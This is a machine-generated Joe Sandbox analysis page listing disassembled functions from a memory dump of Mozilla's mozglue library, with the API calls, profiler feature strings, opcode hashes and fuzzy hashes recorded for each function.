Part of subcall function 6CB05C50: LeaveCriticalSection.KERNEL32(6CB6F688), ref: 6CB05DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CB37B31

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 354ab05360627b08601f31987c14118a90cfbaeae59cfed39346997f7caf4535
Instruction ID: 69fb0016966c6c127e96bebbbfbb5894364de18ad092a1451ee88a473268ea41
Opcode Fuzzy Hash: 354ab05360627b08601f31987c14118a90cfbaeae59cfed39346997f7caf4535
Instruction Fuzzy Hash: 05B18E356083D0CBCB14CE25C55065FB7E2AFC9318F155A1CE99967B90DBB0E90ACB83

Function 6CB26CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB26D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB26E1E

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: d55392554e4b467d3094fa77bdc7a2dbc9a05ebfb8d6f6889e55df3d807a169b
Instruction ID: 8269970433f7455580a4a19e67464306ee16cbda4fe39aaffbdd046981f85a34
Opcode Fuzzy Hash: d55392554e4b467d3094fa77bdc7a2dbc9a05ebfb8d6f6889e55df3d807a169b
Instruction Fuzzy Hash: E0A16F706183848FDB15DF24C4947AEBBE1FF98308F05495DE48A87B51DB74A849CB92

Function 6CB4B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CB4B720
RtlNtStatusToDosError.NTDLL ref: 6CB4B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CB1FE3F,00000000,00000000,?,?,00000000,?,6CB1FE3F), ref: 6CB4B760

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 965893ca0e4e9b3b635caff4edb50c2ece3acfa07181868237f6de90e9f0f655
Instruction ID: 777809054476e4ffa9fd1fedb9a08e839d181f3bfdb4e79165cd183b439e4e7a
Opcode Fuzzy Hash: 965893ca0e4e9b3b635caff4edb50c2ece3acfa07181868237f6de90e9f0f655
Instruction Fuzzy Hash: D7F022B0A4828CAEEF049BA1CC80BEFB3BDDB0831DF409129E211616C0C774A5DCDB61

Function 6CB04640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CB04777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB05585, 6CB055A8, 6CB055C3, 6CB05624

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 14c26ed83a5d4d846fb7c704023dbfd7bf03d9aed8a1e55ccd3eed3b9afb9525
Instruction ID: d6b5e74bdd80fce6ac4408c876a693cdf7d4a66662b42e6f72393c24aa00f071
Opcode Fuzzy Hash: 14c26ed83a5d4d846fb7c704023dbfd7bf03d9aed8a1e55ccd3eed3b9afb9525
Instruction Fuzzy Hash: E7B27B71B05A418FC308CF19C590715BFE2FFC5324B29C6ADE46A8BAA5D771E841CB89

Function 6CB485F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB48C7C
__aulldiv.LIBCMT ref: 6CB48DD7

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: b5ddab600f7122c08f4aa27d264143fe893eda31609a013b697fdaa5974ec570
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 52328C31F051698BDF18CE9CC8A17AEB7B2FB88300F15813AD50AFB794DA359D419B91

Function 6CB4B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAF03D4,?), ref: 6CB4B955
NtQueryVirtualMemory.NTDLL ref: 6CB4B9A5

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: c3ccd2bb7b43b858f04c11af4773dfc6a6978fddd792b8f9ba9df21f1323b252
Instruction ID: 4a65194bc2251b2f063ad2a5e631e60864156b07c6deb4003283c613b397db12
Opcode Fuzzy Hash: c3ccd2bb7b43b858f04c11af4773dfc6a6978fddd792b8f9ba9df21f1323b252
Instruction Fuzzy Hash: 53410671F0464DDFDF04CFA9D880ADEB7B6EF88314F14812AE505A7B44DB30A8458B91

Function 6CAEDFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

VRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCi, xrefs: 6CAEE3A2, 6CAEE7AC

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID: VRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCi
API String ID: 0-529475484
Opcode ID: 93863cceb2deb2b403d92795f193f76a11646e31a9bf0491075a94258d54f4e0
Instruction ID: 1bec8ad7b9e41676e3a6ffd052120ea79f8acce64347b40ba2ece43b861e2c48
Opcode Fuzzy Hash: 93863cceb2deb2b403d92795f193f76a11646e31a9bf0491075a94258d54f4e0
Instruction Fuzzy Hash: B2429072A087518BD304CE3CC49175AF3E2BFC9364F198B2DE999A7790D735D9818B82

Function 6CB25C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAF4A63,?,?), ref: 6CB25F06

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 7491ea05cc4abd1b35627eb7fcded349979d094af8c8bd1a8ab9997bd7a36ed9
Instruction ID: 8d4a0daff0582592c6f40707fb4011d97b5a842b8e14c2dcccaf8f7c5ab14d1d
Opcode Fuzzy Hash: 7491ea05cc4abd1b35627eb7fcded349979d094af8c8bd1a8ab9997bd7a36ed9
Instruction Fuzzy Hash: AEC1F375D012998BCF14CF55C1906EEBBF2FF89318F28815DC8596BB48D736A809CB94

Function 6CB576E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 8e27c1613205ca19f8d6db501e36d2217ff96ae12d3027d7392f7d8364dbe861
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF321871E102598FCB14CF99C880AADFBB2FF88304F6481A9C849A7745D771AD96CF90

Function 6CB56E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: f8dc822aa6f94f5f0fddb05e62f771007571c416895bf952ca92dbf822e22bfc
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 1A22E671E102598FCB14CF98C880AADF7F2FF88304F6481AAC949A7745D771A996CF90

Function 6CB10512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 17a72fe3cd3134f0b2c7327f1b920ed7533011b0947ebf5cadbeef636da44fd1
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 7E221871E04659CFCB14CF98C890AADF7B2FF89304F588199D44AA7B05D730A986CF80

Function 6CB5AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c5396ad9d88927ca5a9234e41b92bfb9f8f27df2242a24e7fc3dc1df8e83663
Instruction ID: d7f3cb38a7ab3029b19779bf6927f2e6c22911c8c1f240eafbc1b633da6e2b26
Opcode Fuzzy Hash: 6c5396ad9d88927ca5a9234e41b92bfb9f8f27df2242a24e7fc3dc1df8e83663
Instruction Fuzzy Hash: 4CF137716083854FDB00CE28C8903BAB7E6EFC5318F948A2DE4D5A77C1E37598558BA3

Function 6CAEC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: cdad331a956bac146ff4b095dc5e2dc98a9cb55edfc935e30bf28f53cc1cba45
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 5BA1A071F0021A8BDB08CE69C8913AEB7F2AFCC358F188129D915E7781DB345C468BD0

Function 6CB27710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 86a5d44a12ca6350a6b75319fae21f3252f1c2d39a013bb6edf473efa6f65a8b
Instruction ID: 45346ffa723f228ef12d2b2a98d071d9cf65581573e58e3a4a574faa5db59742
Opcode Fuzzy Hash: 86a5d44a12ca6350a6b75319fae21f3252f1c2d39a013bb6edf473efa6f65a8b
Instruction Fuzzy Hash: 85718D75E012598FCB08CF99C8905EEBBB2FF89314F24812ED859BB780D775A905CB94

Function 6CB258E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: b5ed1d28d8293c984eae67886d64fb98714ba49d005050750934de3a5b84a60e
Instruction ID: 2305496e0e163a2596673ecb401b4d2dc51e160eae21961564a664e9d8fd1f49
Opcode Fuzzy Hash: b5ed1d28d8293c984eae67886d64fb98714ba49d005050750934de3a5b84a60e
Instruction Fuzzy Hash: 2881BC71E012599FCB04CFA8D8809EEBBF2FF89314F244269E415BB745D731A949CBA0

Function 6CB2CC00 Relevance: 76.7, APIs: 25, Strings: 26, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAF582D), ref: 6CB2CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAF582D), ref: 6CB2CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB5FE98,?,?,?,?,?,6CAF582D), ref: 6CB2CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAF582D), ref: 6CB2CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAF582D), ref: 6CB2CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAF582D), ref: 6CB2CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAF582D), ref: 6CB2CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB2CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB2CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB2CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB2CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB2CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB2CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB2CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB2CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB2CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB2CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB2CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB2CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB2CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB2CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB2CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB2CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB2CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB2CE8A

Strings

audiocallbacktracing, xrefs: 6CB2CDD4
fileioall, xrefs: 6CB2CCA8
mainthreadio, xrefs: 6CB2CC7C
unregisteredthreads, xrefs: 6CB2CE58
cpuallthreads, xrefs: 6CB2CE16
java, xrefs: 6CB2CC37
power, xrefs: 6CB2CE84
noiostacks, xrefs: 6CB2CCBE
nostacksampling, xrefs: 6CB2CD7C
Unrecognized feature "%s"., xrefs: 6CB2CEA0
nativeallocations, xrefs: 6CB2CDA8
screenshots, xrefs: 6CB2CCD4
OVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnC, xrefs: 6CB2CD25
jsallocations, xrefs: 6CB2CD0E
samplingallthreads, xrefs: 6CB2CE2C
notimerresolutionchange, xrefs: 6CB2CE00
seqstyle, xrefs: 6CB2CCE6
preferencereads, xrefs: 6CB2CD92
processcpu, xrefs: 6CB2CE6E
fileio, xrefs: 6CB2CC92
markersallthreads, xrefs: 6CB2CE42
leaf, xrefs: 6CB2CC66
VRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCi, xrefs: 6CB2CF3B
stackwalk, xrefs: 6CB2CCF8
default, xrefs: 6CB2CC21
ipcmessages, xrefs: 6CB2CDBE

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$OVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnC$VRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCi$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-587578281
Opcode ID: 3df319e02580e2e87b1ffafce9431bcad1aed3fe065af440fb4efcbd5b6012de
Instruction ID: 5c233646682503c49e7ff912e5a545e0a36eb5ff8b12cedd78a4a8288df5e05f
Opcode Fuzzy Hash: 3df319e02580e2e87b1ffafce9431bcad1aed3fe065af440fb4efcbd5b6012de
Instruction Fuzzy Hash: D05197C5A862F922FF0039166D10BBF1409EB5729AF504436ED0DA2E81FB1DE629C5B7

Function 6CAF47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAF4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF482D
__Init_thread_footer.LIBCMT ref: 6CAF484A

Part of subcall function 6CB1AB3F: EnterCriticalSection.KERNEL32(6CB6E370,?,?,6CAE3527,6CB6F6CC,?,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB49
Part of subcall function 6CB1AB3F: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE3527,6CB6F6CC,?,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1AB7C

GetCurrentThreadId.KERNEL32 ref: 6CAF485F
GetCurrentThreadId.KERNEL32 ref: 6CAF487E
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CAF488B
